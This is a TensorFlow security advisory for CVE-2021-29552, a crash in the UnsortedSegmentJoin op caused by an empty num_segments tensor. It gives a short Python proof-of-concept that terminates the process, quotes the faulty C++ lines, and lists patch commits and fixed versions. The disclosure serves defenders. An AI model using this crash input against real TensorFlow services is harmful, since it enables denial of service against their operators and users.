## TFSA-2021-041: `CHECK`-failure in `UnsortedSegmentJoin`

### CVE Number
CVE-2021-29552

### Impact
An attacker can cause a denial of service by controlling the values of
`num_segments` tensor argument for `UnsortedSegmentJoin`:

```python
import tensorflow as tf

inputs = tf.constant([], dtype=tf.string)
segment_ids = tf.constant([], dtype=tf.int32)
num_segments = tf.constant([], dtype=tf.int32)
separator = ''

tf.raw_ops.UnsortedSegmentJoin(
  inputs=inputs, segment_ids=segment_ids,
  num_segments=num_segments, separator=separator)
```

This is because the
[implementation](https://github.com/tensorflow/tensorflow/blob/a2a607db15c7cd01d754d37e5448d72a13491bdb/tensorflow/core/kernels/unsorted_segment_join_op.cc#L92-L93)
assumes that the `num_segments` tensor is a valid scalar:

```cc
const Tensor& num_segments_tensor = context->input(2);
auto num_segments = num_segments_tensor.scalar<NUM_SEGMENTS_TYPE>()();
```

Since the tensor is empty the `CHECK` involved in `.scalar<T>()()` that checks
that the number of elements is exactly 1 will be invalidated and this would
result in process termination.

### Patches
We have patched the issue in GitHub commit
[704866eabe03a9aeda044ec91a8d0c83fc1ebdbe](https://github.com/tensorflow/tensorflow/commit/704866eabe03a9aeda044ec91a8d0c83fc1ebdbe).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security
guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
more information regarding the security model and how to contact us with issues
and questions.

### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu
X-Team.
